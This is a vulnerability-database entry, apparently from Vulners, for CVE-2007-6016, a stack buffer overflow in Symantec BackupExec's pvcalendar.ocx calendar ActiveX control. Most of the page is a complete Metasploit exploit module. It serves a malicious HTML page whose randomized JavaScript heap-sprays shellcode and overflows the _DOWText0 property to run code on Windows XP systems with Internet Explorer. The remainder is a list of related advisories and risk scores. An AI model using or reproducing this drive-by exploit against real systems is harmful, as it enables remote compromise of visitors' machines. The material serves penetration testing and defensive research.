Symantec BackupExec Calendar Control Buffer Overflow

🗓️ 28 Feb 2008 00:00:00Reported by Elazar Broad <[email protected]>Type

Symantec BackupExec Calendar Control Buffer Overflow Exploit allows attackers to execute arbitrary code by overloading the "_DOWText0" property in pvcalendar.ocx contro

Reporter	Title	Published	Views	Family All 17
Tenable Nessus	Symantec Backup Exec Calendar ActiveX Control Multiple Vulnerabilities (SYM08-007)	5 Mar 200800:00	–	nessus
Circl	CVE-2007-6016	29 Feb 200800:00	–	circl
Check Point Advisories	Symantec Backup Exec Server Scheduler ActiveX Control Buffer Overflow (CVE-2007-6016)	8 Apr 200800:00	–	checkpoint_advisories
CVE	CVE-2007-6016	29 Feb 200819:00	–	cve
Cvelist	CVE-2007-6016	29 Feb 200819:00	–	cvelist
Exploit DB	Symantec BackupExec Calendar Control - Remote Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
Exploit DB	Symantec BackupExec Calendar Control - 'PVCalendar.ocx' Remote Buffer Overflow	29 Feb 200800:00	–	exploitdb
Japan Vulnerability Notes	Symantec Backup Exec for Windows Server ActiveX Control Multiple Buffer Overflow Vulnerabilities	20 May 200815:00	–	jvn
NVD	CVE-2007-6016	29 Feb 200819:44	–	nvd
Packet Storm	Symantec BackupExec Calendar Control Buffer Overflow	26 Nov 200900:00	–	packetstorm

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Symantec BackupExec Calendar Control Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Symantec BackupExec Calendar Control.
          By sending an overly long string to the "_DOWText0" property located
          in the pvcalendar.ocx control, an attacker may be able to execute
          arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
        'References' => [
          [ 'CVE', '2007-6016' ],
          [ 'OSVDB', '42358'],
          [ 'BID', '26904' ],
          [ 'URL', 'http://web.archive.org/web/20080302192347/http://secunia.com:80/advisories/27885/' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 800,
          'BadChars' => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 256, 'Ret' => 0x0A0A0A0A } ]
        ],
        'DisclosureDate' => '2008-02-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops = Rex::Text.to_unescape(make_nops(4))
    ret = Rex::Text.uri_encode([target.ret].pack('L'))
    blocksize = 0x30000
    fillto = 400
    offset = target['Offset']
    junk = rand_text_alpha(4)

    # Randomize the javascript variable names
    pvcalendar = rand_text_alpha(rand(100) + 1)
    j_shellcode = rand_text_alpha(rand(100) + 1)
    j_nops = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock = rand_text_alpha(rand(100) + 1)
    j_block = rand_text_alpha(rand(100) + 1)
    j_memory = rand_text_alpha(rand(100) + 1)
    j_counter = rand_text_alpha(rand(30) + 2)
    j_ret = rand_text_alpha(rand(100) + 1)
    j_junk = rand_text_alpha(rand(100) + 1)
    j_filename = rand_text_alpha(rand(16) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    # Build out the message
    content = %Q|<html>
<object classid='clsid:22ACD16F-99EB-11D2-9BB3-00400561D975' id='#{pvcalendar}'></object>
<script language='javascript'>
#{j_shellcode} = unescape('#{shellcode}');
#{randnop} = "#{nops}";
#{j_nops} = unescape(#{randnop});
#{j_headersize} = 20;
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
#{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
#{j_junk} = '#{junk}';
while (#{j_junk}.length < #{offset}) #{j_junk} += #{j_junk};
try {
#{pvcalendar}._DOWText0 = #{j_junk} + #{j_ret};
#{pvcalendar}.Save('#{j_filename}',0);
} catch(err) {}
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

28 Feb 2008 00:00Current

6.2Medium risk

Vulners AI Score6.2

CVSS 29.3

EPSS0.50419